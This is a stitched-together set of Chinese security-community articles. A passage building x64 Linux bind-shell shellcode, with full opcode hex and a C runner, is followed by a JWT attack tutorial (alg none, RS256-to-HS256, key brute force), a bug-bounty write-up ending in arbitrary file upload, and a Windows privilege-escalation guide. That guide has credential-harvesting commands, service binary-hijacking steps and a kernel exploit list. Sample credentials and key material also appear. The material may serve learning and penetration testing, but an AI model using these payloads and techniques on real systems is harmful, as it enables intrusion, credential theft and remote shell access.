此外，我们也可以使用cdq指令来缩短代码长度。这条指令可以使用RDX寄存器来扩展EAX寄存器的符号位。因此如果RAX为正整数，那么这条指令会将RDX寄存器清零。这种方法的好处是只需以1个字节即可。
因此，我们的代码可以变成：
图9. 进一步缩短socket syscall
虽然这段代码看起来更长（代码行数更多），但实际上编译后会变得更短。
现在，我们来将socket绑定（bind）到某个IP地址的TCP 4444端口上（图1中第36行）。
图10. 构造结构体并完成bind syscall
RAX寄存器中包含socket syscall所返回的socket，因为我们想将其作为第一个参数发送给bind
syscall，我们可以先把它移动到RDI寄存器中。然后，构造sockaddr_in结构体，将其绑定到0.0.0.0这个IP（也就是说会在所有接口上监听）的TCP
4444端口上。端口值包含2个字节，但由于我们使用的是低字节序（little
endian）系统，我们需要交换这两个字节的值。十进制的4444等价于十六进制的0x115c，交换这两个字节后，所得结果为0x5c11。
这个结构占用了16个字节，当我们执行mov rsi,rsp后，其在内存中的布局如下所示：
图11. 该结构体在内存中的布局
同样，因为低字节序问题，我们需要将这个值逆序存到寄存器中，通过一些变换操作后，我们可以避免结果中出现0值。
之后，RSP寄存器已指向这个结构体，我们需要将其移动到RSI，这样该值会作为参数发送到bind函数中。
现在我们来看看listen以及accept syscalls（图1中第42行以及第48行）。
图12. listen以及accept syscalls
listen函数会在内部socket结构上设置一个标志，将套接字标记为被动监听套接字，这样你才能在这个socket上调用accept函数。函数会打开绑定的端口（tcp/4444），这样socket就可以开始接收来自客户端的连接请求。
accept函数需要一个处于listening状态的socket，才能接受下一个连接，并返回该连接的socket描述符。这意味着它会创建一个新的socket，即客户端（client）socket，这个值会以返回值形式存放到RAX寄存器中。
此时，如果这个应用经过精心设计，不包含任何错误代码及错误内存使用场景，那么应该关闭（close）这个socket（图1中第54行）。但由于我们的代码有大小限制，我会忽略这个步骤，因为这样攻击者仍然能得到想要的shell。
现在我们继续下一步，将本地应用程序的stdin以及stdout文件描述符重定向到连接至监听端口的客户端socket上。我们必须复制文件描述符0（stdin），这样攻击者在socket中输入的所有数据都可以发送到shellcode，就如同正常的系统输入过程一样。我们也需要复制文件描述符1（stdout），这样shellcode生成的输出数据就会发送回攻击者，然后显示在攻击者的屏幕上。
简而言之，这个过程如下所示：
图13. 重定向过程
这里唯一的问题是，这段代码大小将近30个字节。然而如果你仔细观察这段代码，你会发现代码结构满足一定模式，因此我们可以通过循环来减少代码规模。
图14. 简化代码
这里我直接调用了syscall，不用去担心RDI以及RSI寄存器的完整性问题，原因在于syscall可以保证所有的寄存器（除了RCX、R11以及存放返回值的RAX）在syscall调用期间能保持不变。
还有一个小细节：通常情况下，我会删掉图13中的第三段代码，因为这段代码用来复制stderr（文件描述符2），如果我们遵循“尽可能精简”这一原则，那么可以直接删掉这段代码。但实际上这段代码不会对结果大小产生影响，因此在图14中，我依然保留了这段代码。
**
**
**四、添加认证功能**
现在，来看一下认证代码。
图15. 认证代码
首先，我们需要从客户端那读取一个字符串。我选择使用栈作为缓冲区来保存输入的字符串，并为该缓冲区分配了8字节空间。具体步骤是先push
8字节大小的RAX寄存器，然后将RSP值移动到RSI即可。字符串的长度值（包括尾部的“n”字符）会保存到RAX寄存器中。这个长度值用来结束缓冲区字符串与push到栈中、地址保存在RDI寄存器上另一个字符串的比较过程（假设之前所有比较过的字节都相同）。
现在，剩下的工作就是使用execve来调用“/bin/sh”。
图16. execve函数参数
execve对应的syscall调用号为59（十进制）。RDI寄存器指向“//bin/sh”字符串，而RSI寄存器指向一个char
*数组，数组的首个元素为为“//bin/sh”字符串的内存地址，第二个元素为一个空指针，RDX是一个空指针（shellcode中不需要使用任何环境变量）。综合这些信息，我们可以得到如下代码：
图17. execve代码
以上就是所有代码。
现在开始编译代码：
nasm -f elf64 BindShell.nasm -o BindShell.o && ld BindShell.o -o BindShell
我们可以使用一些命令行技巧，提取出十六进制形式的操作码，以便测试shellcode：
for i in `objdump -d BindShell | tr ‘t’ ‘ ‘ | tr ‘ ‘ ‘n’ | egrep ‘^[0-9a-f]{2}$’ ` ; do echo -n “x$i” ; done
将所得结果保存在C代码的数组中，如下所示：
#include<stdio.h>
#include<string.h>
unsigned char code[] =
“x6ax29x58x6ax02x5fx6ax01x5ex99x0fx05x48x97x52x66xbax11x5cx48xc1xe2x10x80xf2x02x52x48x89xe6xb0x31x6ax10x5ax0fx05x6ax32x58x6ax02x5ex0fx05xb0x2bx48x83xecx10x48x89xe6x6ax10x48x89xe2x0fx05x48x97x6ax03x5exb0x21xffxcex0fx05xe0xf8x48x31xffx50x48x89xe6x6ax08x5ax0fx05x48x91x48xbbx31x32x33x34x35x36x37x0ax53x48x89xe7xf3xa6x75x1dx6ax3bx58x99x52x48xbbx2fx2fx62x69x6ex2fx73x68x53x48x89xe7x52x48x89xe2x57x48x89xe6x0fx05x90”;
main(){
printf(“Shellcode Length: %dn”, (int)strlen(code));
int (*ret)() = (int(*)())code;
ret();
}
然后，使用gcc编译这段代码，在编译命令中加上-fno-stack-protector（去掉栈保护）以及-z execstack（可执行栈）选项：
gcc -fno-stack-protector -z execstack shellcode.c -o shellcode
最后一步，执行程序：
图18. 执行shellcode（大小为136字节）
图19. 攻击者连接到监听中的shellcode，输入密码，执行“id”及“exit”命令
你可以在我的[GitLab页面](https://gitlab.com/0x4ndr3/SLAE64_Assignments/tree/master/Assignment_01)上找到本文所用的所有文件。
就个人而言，我非常感谢[Vivek Ramachandran](https://twitter.com/securitytube)以及[Pentester
Academy](http://www.pentesteracademy.com/topics)团队，从中我学到了许多有趣的知识，因此也非常享受这一过程。 | 社区文章 |
在本文中，我们将为大家详细介绍JSON Web Token (JWT)攻击技巧，希望能够对读者有所帮助。
**0x01 JWT工作流**
* * *
简单来说，JWT就是一个非常轻量级的业务流程管理规范。
该规范允许我们通过JWT在用户和服务器之间安全可靠地传递信息。
JWT通常用于实现前端和后端的解耦，同时，它还可以与Restful API一起使用，用于构建身份验证机制。
下面，我们以最大的视频托管公司之一vimeo.com为例来展示JWT。
图1
图2
当用户输入他/她的凭证时，系统会发送post请求（参见图1）对凭证进行验证。 如果凭证通过了检查，那么用户将会收到一个含有JWT
token的响应，具体如图2所示。
JWT示例：
eyJraWQiOiJrZXlzLzNjM2MyZWExYzNmMTEzZjY0OWRjOTM4OWRkNzFiODUxIiwidHlwIjoiSldUIiwiYWxnIjoiUlMyNTYifQ.eyJzdWIiOiJkdWJoZTEyMyJ9.XicP4pq_WIF2bAVtPmAlWIvAUad_eeBhDOQe2MXwHrE8a7930LlfQq1lFqBs0wLMhht6Z9BQXBRos9jvQ7eumEUFWFYKRZfu9POTOEE79wxNwTxGdHc5VidvrwiytkRMtGKIyhbv68duFPI68Qnzh0z0M7t5LkEDvNivfOrxdxwb7IQsAuenKzF67Z6UArbZE8odNZAA9IYaWHeh1b4OUG0OPM3saXYSG-Q1R5X_5nlWogHHYwy2kD9v4nk1BaQ5kHJIl8B3Nc77gVIIVvzI9N_klPcX5xsuw9SsUfr9d99kaKyMUSXxeiZVM-7os_dw3ttz2f-TJSNI0DYprHHLFw
之后，每当用户访问该站点中的资源时，对应的请求与之前的会稍有不同——多了一个新的头信息，即authorization: jwt。
图3
图4
不难看出，JWT实际上是作为认证信息来传递的，此外，通常情况下，它是通过前端代码存放在本地存储系统中的。
我们知道，本地存储是HTML5的一项新功能，通过它，网络开发人员基本上就可以通过JavaScript在用户的浏览器中为所欲为地存储任意信息了。这其实不难，对吧？
**0x02 JWT的格式**
* * *
JWT的格式也非常简单，
JWT的数据分为三部分：头部，有效载荷，签名。
然后，通过base64UrlEncode函数将三者分隔开来：
function base64url_encode($data) {
return rtrim(strtr(base64_encode($data), '+/', '-_'), '=');
}
下面展示的是之前的JWT示例中的JWT数据：
eyJraWQiOiJrZXlzLzNjM2MyZWExYzNmMTEzZjY0OWRjOTM4OWRkNzFiODUxIiwidHlwIjoiSldUIiwiYWxnIjoiUlMyNTYifQ.eyJzdWIiOiJkdWJoZTEyMyJ9.XicP4pq_WIF2bAVtPmAlWIvAUad_eeBhDOQe2MXwHrE8a7930LlfQq1lFqBs0wLMhht6Z9BQXBRos9jvQ7eumEUFWFYKRZfu9POTOEE79wxNwTxGdHc5VidvrwiytkRMtGKIyhbv68duFPI68Qnzh0z0M7t5LkEDvNivfOrxdxwb7IQsAuenKzF67Z6UArbZE8odNZAA9IYaWHeh1b4OUG0OPM3saXYSG-Q1R5X_5nlWogHHYwy2kD9v4nk1BaQ5kHJIl8B3Nc77gVIIVvzI9N_klPcX5xsuw9SsUfr9d99kaKyMUSXxeiZVM-7os_dw3ttz2f-TJSNI0DYprHHLFw
接下来，我们对其中的三个部分分别加以展示：
**1.头部**
eyJraWQiOiJrZXlzLzNjM2MyZWExYzNmMTEzZjY0OWRjOTM4OWRkNzFiODUxIiwidHlwIjoiSldUIiwiYWxnIjoiUlMyNTYifQ
上述内容解码之后，我们得到的数据为{“kid”:”keys/3c3c2ea1c3f113f649dc9389dd71b851",”typ”:”JWT”,”alg”:”RS256"}。
图5
头部中包含了JWT配置方面的信息，例如签名算法（alg），类型（JWT）和算法使用的密钥文件（当服务器需要多个密钥文件时使用）。
**2.有效载荷**
eyJzdWIiOiJkdWJoZTEyMyJ9
有效载荷用于存储用户的数据，如用户名（test123）。
**3.签名**
XicP4pq_WIF2bAVtPmAlWIvAUad_eeBhDOQe2MXwHrE8a7930LlfQq1lFqBs0wLMhht6Z9BQXBRos9jvQ7eumEUFWFYKRZfu9POTOEE79wxNwTxGdHc5VidvrwiytkRMtGKIyhbv68duFPI68Qnzh0z0M7t5LkEDvNivfOrxdxwb7IQsAuenKzF67Z6UArbZE8odNZAA9IYaWHeh1b4OUG0OPM3saXYSG-Q1R5X_5nlWogHHYwy2kD9v4nk1BaQ5kHJIl8B3Nc77gVIIVvzI9N_klPcX5xsuw9SsUfr9d99kaKyMUSXxeiZVM-7os_dw3ttz2f-TJSNI0DYprHHLFw
由于头部和有效载荷以明文形式存储，因此，需要使用签名来防止数据被篡改。提供数据的相关函数使用的签名算法通常是RS256（RSA非对称加密和私钥签名）和HS256（HMAC
SHA256对称加密）算法，签名对象是base64UrlEncode(headers) + ‘.’ +
base64UrlEncode(‘signature’)。
更多详情，请参阅：[https：//jwt.io/introduction/。 ](https://jwt.io/introduction/
"https：//jwt.io/introduction/。 ")
**0x03 JWT攻击技术**
* * *
**1.敏感信息泄露**
显然，由于有效载荷是以明文形式传输的，因此，如果有效载荷中存在敏感信息的话，就会发生信息泄露。
**2.将签名算法改为none**
我们知道，签名算法可以确保JWT在传输过程中不会被恶意用户所篡改。
但头部中的alg字段却可以改为none。
另外，一些JWT库也支持none算法，即不使用签名算法。当alg字段为空时，后端将不执行签名验证。
将alg字段改为none后，系统就会从JWT中删除相应的签名数据（这时，JWT就会只含有头部 + ‘.’ + 有效载荷 + ‘.’），然后将其提交给服务器。
这种攻击的具体例子可以从<http://demo.sjoerdlangkemper.nl/jwtdemo/hs256.php中找到。>
此外，相关的代码也可以从Github上找到，具体地址为<https://github.com/Sjord/jwtdemo/。>
相关代码如下所示：
import jwt
import base64
# header
# eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9
# {"typ":"JWT","alg":"HS256"}
#payload eyJpc3MiOiJodHRwOlwvXC9kZW1vLnNqb2VyZGxhbmdrZW1wZXIubmxcLyIsImlhdCI6MTUwNDAwNjQzNSwiZXhwIjoxNTA0MDA2NTU1LCJkYXRhIjp7ImhlbGxvIjoid29ybGQifX0
# {"iss":"http:\/\/demo.sjoerdlangkemper.nl\/","iat":1504006435,"exp":1504006555,"data":{"hello":"world"}}
def b64urlencode(data):
return base64.b64encode(data).replace('+', '-').replace('/', '_').replace('=', '')
print b64urlencode("{\"typ\":\"JWT\",\"alg\":\"none\"}") + \
'.' + b64urlencode("{\"data\":\"test\"}") + '.'
结果如下所示：
图6
**3.将RS256算法改为HS256（非对称密码算法= >对称密码算法）**
HS256算法使用密钥为所有消息进行签名和验证。
而RS256算法则使用私钥对消息进行签名并使用公钥进行身份验证。
如果将算法从RS256改为HS256，则后端代码将使用公钥作为密钥，然后使用HS256算法验证签名。
由于攻击者有时可以获取公钥，因此，攻击者可以将头部中的算法修改为HS256，然后使用RSA公钥对数据进行签名。
这样的话，后端代码使用RSA公钥+HS256算法进行签名验证。
同样地，我们也可以使用示例来了解这种攻击方法，具体请访问<http://demo.sjoerdlangkemper.nl/jwtdemo/hs256.php。>
RSA公钥：<http://demo.sjoerdlangkemper.nl/jwtdemo/public.pem。>
相关的代码如下所示：
import jwt
# eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9
# {"typ":"JWT","alg":"RS256"}
# eyJpc3MiOiJodHRwOlwvXC9kZW1vLnNqb2VyZGxhbmdrZW1wZXIubmxcLyIsImlhdCI6MTUwNDAwNzg3NCwiZXhwIjoxNTA0MDA3OTk0LCJkYXRhIjp7ImhlbGxvIjoid29ybGQifX0
# {"iss":"http:\/\/demo.sjoerdlangkemper.nl\/","iat":1504007874,"exp":1504007994,"data":{"hello":"world"}}
public = open('public.pem.1', 'r').read()
print public
print jwt.encode({"data":"test"}, key=public, algorithm='HS256')
结果如下所示（验证通过）：
图7
**4\. 破解HS256（对称加密算法）密钥**
如果HS256密钥的强度较弱的话，攻击者可以直接通过蛮力攻击方式来破解密钥，例如将密钥字符串用作PyJWT库示例代码中的密钥的时候情况就是如此。
然后，用蛮力方式对密钥进行猜解，具体方法很简单：如果密钥正确的话，解密就会成功；如果密钥错误的话，解密代码就会抛出异常。
此外，我们也可以使用PyJWT或John Ripper进行破解测试。
**附录：相关工具**
* * *
PyJWT库具体地址为：<https://github.com/jpadilla/pyjwt。>
>>> import jwt
>>> encoded = jwt.encode({'some': 'payload'}, 'secret', algorithm='HS256')
'eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzb21lIjoicGF5bG9hZCJ9.4twFt5NiznN84AWoo1d7KO1T_yoc0Z6XOpOVswacPZg'
>>> jwt.decode(encoded, 'secret', algorithms=['HS256'])
{'some': 'payload'}
**0x05 参考文章**
* * *
[Attacking JWT
authentication](https://www.sjoerdlangkemper.nl/2016/09/28/attacking-jwt-authentication/ "Attacking JWT authentication") | 社区文章 |
## 前言
**信息收集贯穿渗透测试的全过程**
## webpack发现后台地址
日常SRC发现一个比较偏僻的域名，很有可能存在漏洞。git搜域名没找到源码。顺手翻了下js，发现webpack打包的源码，然后赶紧去搜了搜这个怎么利用，发现主要是用来找里面的接口，尝试未授权的思路。这个站点的webpack没有发现什么能未授权的接口，但是发现了config.js文件。这个肯定得进去看看，里面发现了3个地址，都是后台应该有两个是测试阶段的站点，另一个是生产环境。
## 后台常规的信息收集和初步测试
常规登录框测试手段，简单测口令，然后验证码能不能绕过开始爆破，扫目录什么的。
thinkphp3.2.3然后就是已知漏洞测试，再加上有位师傅提过的日志泄露，都测试了一遍，无果
## github泄露源码
过了好几天想起来这个站点，不甘心在后台晃悠，想起来有位师傅提起过，可以把页面上的东西都扔到github搜一下，前面已经在github上搜过域名了不好使。然后看到后台底下有个技术支持qq号码
反正没有入手点，就把qq号码扔到github上面搜索发现源码。
这里发现了两个入手点，一个是ueditor,一个是swfupload。ueditor php版本已知的应该是1.4.3
ssrf漏洞，但是是云服务器，危害不大，重心放在swfupload上面
进去swfupload文件夹里面结构是下面这样子的。
## 任意文件删除
第一个就看到任意文件删除
## 任意文件上传
upload.php太长了，最快的方法就是码云直接找个swfupload的源码，扔phpstudy，直接上传php，抓包复制过来，然后重新上传。
访问代码执行成功。 | 社区文章 |
## 0x01 什么是特权提升
什么是特权提升？为何要特权提升？可能有些读者还并不是很了解这方面知识，本文主要梳理了Windows操作系统下各类特权提升的技巧，分析特权提升的原理，主要目的在于学习和知识总结。
### 什么是特权提升
特权提升是指利用操作系统或应用软件中的程序错误、设计缺陷或配置疏忽来获取对应用程序或用户来说受保护资源的高级访问权限。其结果是，应用程序可以获取比应用程序开发者或系统管理员预期的更高的特权，从而可以执行授权的动作。
### 为何要特权提升
在实战攻防演习中，往往获取到的webshell权限很低，为了进一步后渗透和获取数据，就需要用到特权提升技术。
## 0x02 Windows操作系统信息
### Windows 版本信息和配置
systeminfo
该命令是Windows中用于显示关于计算机及其操作系统的详细配置信息
如果目标计算机安装很多补丁程序，那么这条命令显示的信息将非常庞大，我们可以利用findstr命令针对信息进行筛选。
findstr
findstr是Window系统自带的命令，用途是查找指定的一个或多个文件文件中包含（或通过参数 /V来控制不包含）某些特定字符串的行，并将该行完整的信息打印出来，或者打印查询字符串所在的文件名。
/B 在一行的开始配对模式。
/C:string 使用指定字符串作为文字搜索字符串。
系统名称和版本号
systeminfo | findstr /B /C:"OS 名称" /C:"OS 版本"
C:\inetpub\wwwroot> systeminfo | findstr /B /C:"OS 名称" /C:"OS 版本"
OS 名称: Microsoft Windows Server 2008 R2 Standard
OS 版本: 6.1.7601 Service Pack 1 Build 7601
### Windows系统更新补丁信息
利用Windows管理工具wmic获取Windows系统更新补丁信息
wmic qfe
wmic qfe > patch.txt
利用重定向符号>可以将结果输出到文件中，方便我们分析补丁信息
### Windows操作系统架构
利用Windows管理工具wmic获取Windows操作系统架构信息
wmic os get osarchitecture || echo %PROCESSOR_ARCHITECTURE%
C:\inetpub\wwwroot> wmic os get osarchitecture || echo %PROCESSOR_ARCHITECTURE%
OSArchitecture
64-bit
### Windows操作系统环境变量
获取Windows操作系统环境变量信息，从中发现安装的软件信息，我们可以利用的命令。
利用set命令获取信息
set
利用PowerShell获取信息
PowerShell -Command "& {Get-ChildItem Env: | ft Key,Value}"
### Windows操作系统驱动器
利用Windows管理工具wmic或PowerShell获取Windows操作系统驱动器信息
C:\inetpub\wwwroot> wmic logicaldisk get caption || fsutil fsinfo drives
Caption
C:
D:
C:\inetpub\wwwroot> wmic logicaldisk get caption,description,providername
Caption Description ProviderName
C: Local Fixed Disk
D: CD-ROM Disc
C:\inetpub\wwwroot> PowerShell -Command "& {Get-PSDrive | where {$_.Provider -like 'Microsoft.PowerShell.Core\FileSystem'}| ft Name,Root}"
Name Root
---- ----
C C:\
D D:\
## 0x03 Windows操作系统用户信息
### 获取当前用户名
C:\inetpub\wwwroot> whoami
iis apppool\defaultapppool
### 获取当前用户特权信息
whoami /priv
### 获取所有用户信息
net user
本地用户账号信息
C:\inetpub\wwwroot> net user
\\DC1 的用户帐户
------------------------------------------------------------------------------- admin Guest haadmin
haadmins krbtgt
命令成功完成。
whoami /all 获取当前用户用户信息、组信息、特权信息
利用PowerShell获取用户信息
PowerShell -Command "& {Get-LocalUser | ft Name,Enabled,LastLogon}"
c:\windows\system32\inetsrv>PowerShell -Command "& {Get-LocalUser | ft Name,Enabled,LastLogon}"
Name Enabled LastLogon
---- ------- --------- Administrator False
DefaultAccount False
Guest False
admin True
WDAGUtilityAccount False
PowerShell -Command "& {Get-ChildItem C:\Users -Force | select Name}"
c:\windows\system32\inetsrv> PowerShell -Command "& {Get-ChildItem C:\Users -Force | select Name}"
Name
----
admin
Administrator
All Users
Classic .NET AppPool
Default
Default User
Public
desktop.ini
获取登录要求信息，可用于爆破
net accounts
c:\windows\system32\inetsrv> net accounts
强制用户在时间到期之后多久必须注销?: 从不
密码最短使用期限(天): 1
密码最长使用期限(天): 42
密码长度最小值: 7
保持的密码历史记录长度: 24
锁定阈值: 从不
锁定持续时间(分): 30
锁定观测窗口(分): 30
计算机角色: PRIMARY
命令成功完成。
其他相关指令
net user administrator
net user admin
net user %USERNAME%
### 获取用户组信息
net localgroup //获取机器内用户组信息
PowerShell -Command "& {Get-LocalGroup | ft Name}" //利用PowerShell获取用户组信息
C:\Users\13700>PowerShell -Command "& {Get-LocalGroup | ft Name}"
Name
---- Account Operators
Administrators
Allowed RODC Password Replication Group
Backup Operators
获取特定组的信息
c:\windows\system32\inetsrv> net localgroup administrators
别名 administrators
注释 管理员对计算机/域有不受限制的完全访问权
成员
------------------------------------------------------------------------------- admin
Domain Admins
Enterprise Admins
haadmin
命令成功完成
PowerShell -Command "& {Get-LocalGroupMember Administrators | ft Name, PrincipalSource}"
## 0x04 搜刮密码
### 文件内容搜索密码
findstr /si password *.xml *.ini *.txt *.config
在xml、ini、txt、config等格式文件中搜索password
C:\inetpub\wwwroot> findstr /SI /M "password" *.xml *.ini *.txt
aspnet_client\system_web\2_0_50727\index.aspx.txt
aspnet_client\system_web\4_0_30319\index.aspx.txt
aspnet_client\system_web\password.txt
index.aspx.txt
输出存在password内容的文件路径
findstr /spin "password" *.*
搜索当前命令行路径所有文件
### 搜索特定的文件名
C:\inetpub\wwwroot> dir /S /B *pass*.txt == *pass*.xml == *pass*.ini == *cred* == *vnc* == *.config*
C:\inetpub\wwwroot\web.config
C:\inetpub\wwwroot\aspnet_client\system_web\password.txt
C:\inetpub\wwwroot> where /R C:\inetpub\wwwroot *.ini
C:\inetpub\wwwroot> where /R C:\inetpub\wwwroot *.txt
C:\inetpub\wwwroot\index.aspx.txt
C:\inetpub\wwwroot\patch.txt
C:\inetpub\wwwroot\windows.txt
C:\inetpub\wwwroot\aspnet_client\system_web\password.txt
C:\inetpub\wwwroot\aspnet_client\system_web\2_0_50727\index.aspx.txt
C:\inetpub\wwwroot\aspnet_client\system_web\4_0_30319\index.aspx.txt
### 在注册表中搜索信息
在注册表中搜索password
REG QUERY HKLM /F "password" /t REG_SZ /S /K
REG QUERY HKCU /F "password" /t REG_SZ /S /K
reg query HKLM /f password /t REG_SZ /s
reg query HKCU /f password /t REG_SZ /s
VNC凭证
reg query "HKCU\Software\ORL\WinVNC3\Password"
Putty 明文代理凭证
reg query "HKCU\Software\SimonTatham\PuTTY\Sessions"
登录信息
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon"
### 常见应用保存的session信息
相关工具：<https://github.com/Arvanaghi/SessionGopher>
获取PuTTY, WinSCP, FileZilla, SuperPuTTY, 和RDP的会话信息
[+] Digging on DC1 ...
WinSCP Sessions
Session : [email protected]
Hostname : 198.273.212.334
Username : admin-anthony
Password : Super*p@ssw0rd
Session : [email protected]
Hostname : 204.332.455.213
Username : Freddy
Password : angelico1892
FileZilla Sessions
Name : BarrySite
Password : imr34llytheFl@sh
Host : 10.8.30.21
User : BarryAllen
Protocol : Use FTP over TLS if available
Account : BarryAllenAccount
Port : 22
PuTTY Sessions
Session : PointOfSaleTerminal
Hostname : 10.8.0.10
PuTTY Private Key Files (.ppk)
Path : C:\Users\Brandon Arvanaghi\Documents\mykey.ppk
Protocol : ssh-rsa
Comment : rsa-key-20170116
Private Key Encryption : none
Private Key : {AAABAEazxtDz6E9mDeONOmz07sG/n1eS1pjKI8fOCuuLnQC58LeCTlysOmZ1/iC4, g4HyRpmdKJGhIxj66/RQ135hVesyk02StleepK4+Tnvz3zmdr4Do5W99qKkrWI3D, T9GOxOIoR9Zc6j57D+fdesJq4ItEIxcQZlXC1F9KZcbXjSJ3iBmCsbG/aRJmMJNx,
nCMaZkySr4R4Z/E+l1JOzXaHh5WQ2P0K4YM1/6XG6C4VzDjvXwcY67MYsobTeCR2...}
Private MAC : b7e47819fee39a95eb374a97f939c3c868f880de
Microsoft Remote Desktop (RDP) Sessions
Hostname : us.greatsite.com
Username : Domain\tester
Microsoft Remote Desktop .rdp Files
Path : C:\Users\Brandon Arvanaghi\Desktop\config\PenTestLab-Win.RDP
Hostname : dc01.corp.hackerplaypen.com
Gateway : rds01.corp.hackerplaypen.com
Prompts for Credentials : No
Administrative Session : Does not connect to admin session on remote host
## 0x05 Windows服务权限配置不当
在Windows系统中，某些服务以Administrator/SYSTEM权限运行，当服务所运行文件权限配置错误时，可能导致特权提升。
### 服务列表
查看相关服务
for /f "tokens=2 delims='='" %a in ('wmic service list full^|find /i "pathname"^|find /i /v "system32"') do @echo %a >> C:/inetpub/wwwroot/service.txt
检查服务列表并输出到文件service.txt中
### icacls或cacls检查权限
检查权限工具如下：
* icacls (Windows Vista +)
* cacls (Windows XP)
for /f eol^=^"^ delims^=^" %a in (C:/inetpub/wwwroot/service.txt) do cmd.exe /c icacls "%a"
主要关注以下三个权限：
`Users:(F)`：完全访问
`Users:(M)`：修改访问
`Users:(W)`：仅写访问
我们可以发现某个服务的运行文件C:\net\srvany.exe可以被我们控制
替换二进制文件
当服务重启时，反弹shell
## 0x06 Windows服务路径配置不当
在Windows环境中，启动服务后，系统会尝试查找可执行文件的位置来成功启动服务。如果可执行文件包含在引号标签中，系统就会知道在哪里可以找到它。但是，如果应用程序二进制文件所在的路径不包含任何引号，Windows则会尝试在该路径的每个文件夹中找到并执行它，直到找到可执行文件为止。
### 手工检查
wmic service get name,displayname,pathname,startmode |findstr /i "auto" |findstr /i /v "c:\windows\\" |findstr /i /v """
wmic service get name,displayname,startmode,pathname | findstr /i /v "C:\Windows\\" |findstr /i /v """
gwmi -class Win32_Service -Property Name, DisplayName, PathName, StartMode | Where {$_.StartMode -eq "Auto" -and $_.PathName -notlike "C:\Windows*" -and $_.PathName -notlike '"*'} | select PathName,DisplayName,Name
服务路径`C:\Program Files\service\hello service\srvany.exe`
Windows将首先尝试以下路径：
C:\Program.exe
C:\Program Files.exe
C:\Program Files\service\hello.exe
C:\Program Files\service\hello service.exe
利用icacls 检查权限
可以发现`C:\Program Files\service\`目录有控制权限
我们将反弹shell木马命名为hello.exe放在目录中，重启服务时，shell反弹
### Metasploit trusted_service_path模块
模块路径：exploit/windows/local/trusted_service_path
trusted_service_path模块设置SESSION后自动利用，但是它只是针对第一个空格目录，如果第一个目录权限不足就会利用失败。
## 0x07 内核利用
Windows平台提权漏洞EXP集合：
<https://github.com/SecWiki/windows-kernel-exploits>
### 漏洞列表
Security Bulletin | KB | 操作系统
---|---|---
CVE-2019-0803 | <https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2019-0803> | Windows 7/8/10/2008/2012/2016/2019
CVE-2018-8639 | <https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2018-1038> | Windows 7/8/10/2008/2012/2016
CVE-2018-1038 | <https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2018-1038> | Windows 7 SP1/Windows Server 2008 R2 SP1
CVE-2018-0743 | <https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2018-0743> | Windows 10 version 1703/Windows 10 version
1709/Windows Server version 1709
CVE-2018-8453 | <https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2018-8453> | >= windows 8.1
CVE-2018-8440 | <https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2018-8440> | windows 7/8.1/10/2008/2012/2016
MS17-017 | KB4013081 | windows 7/8
CVE-2017-8464 | <https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2017-8464> | windows 10/8.1/7/2016/2010/2008
CVE-2017-0213 | <https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2017-0213> | windows 10/8.1/7/2016/2010/2008
CVE-2018-0833 | <https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2018-8120> | Windows 8.1/Server 2012 R2
CVE-2018-8120 | KB4103712 | Windows 7 SP1/2008 SP2,2008 R2 SP1
MS17-010 | KB4013389 | windows 7/2008/2003/XP
MS16-135 | KB3199135 | 2016
MS16-111 | KB3186973 | 32/64/8.1
MS16-098 | KB3178466 | Win 8.1
MS16-075 | KB3164038 | 2003/2008/7/8/2012
MS16-034 | KB3143145 | 2008/7/8/10/2012
MS16-032 | KB3143141 | 2008/7/8/10/2012
MS16-016 | KB3136041 | 2008/Vista/7
MS16-014 | KB3134228 | 2008/Vista/7
MS15-097 | KB3089656 | win8.1/2012
MS15-076 | KB3067505 | 2003/2008/7/8/2012
MS15-077 | KB3077657 | XP/Vista/Win7/Win8/2000/2003/2008/2012
MS15-061 | KB3057839 | 2003/2008/7/8/2012
MS15-051 | KB3057191 | 2003/2008/7/8/2012
MS15-015 | KB3031432 | Win7/8/8.1/2012/RT/2012 R2/2008 R2
MS15-010 | KB3036220 | 2003/2008/7/8
MS15-001 | KB3023266 | 2008/2012/7/8
MS14-070 | KB2989935 | 2003
MS14-068 | KB3011780 | 2003/2008/2012/7/8
MS14-058 | KB3000061 | 2003/2008/2012/7/8
MS14-066 | KB2992611 | VistaSP2/7 SP1/8/Windows 8.1/2003 SP2/2008 SP2/2008 R2
SP1/2012/2012 R2/Windows RT/Windows RT 8.1
MS14-040 | KB2975684 | 2003/2008/2012/7/8
MS14-002 | KB2914368 | 2003/XP
MS13-053 | KB2850851 | XP/Vista/2003/2008/win 7
MS13-046 | KB2840221 | Vista/2003/2008/2012/7
MS13-005 | KB2778930 | 2003/2008/2012/win7/8
MS12-042 | KB2972621 | 2008/2012/win7
MS12-020 | KB2671387 | 2003/2008/7/XP
MS11-080 | KB2592799 | 2003/XP
MS11-062 | KB2566454 | 2003/XP
MS11-046 | KB2503665 | 2003/2008/7/XP
MS11-011 | KB2393802 | 2003/2008/7/XP/Vista
MS10-092 | KB2305420 | Jul-08
MS10-065 | KB2267960 | IIS 5.1, 6.0, 7.0, and 7.5
MS10-059 | KB982799 | 2008/7/Vista
MS10-048 | KB2160329 | XP SP2 & SP3/2003 SP2/Vista SP1 & SP2/2008 Gold & SP2 &
R2/Win7
MS10-015 | KB977165 | 2003/2008/7/XP
MS10-012 | KB971468 | Windows 7/2008R2
MS09-050 | KB975517 | 2008/Vista
MS09-020 | KB970483 | IIS 5.1 and 6.0
MS09-012 | KB959454 | Vista/win7/2008/Vista
MS08-068 | KB957097 | 2000/XP
MS08-067 | KB958644 | Windows 2000/XP/Server 2003/Vista/Server 2008
MS08-066 | KB956803 | Windows 2000/XP/Server 2003
MS08-025 | KB941693 | XP/2003/2008/Vista
MS06-040 | KB921883 | 2003/xp/2000
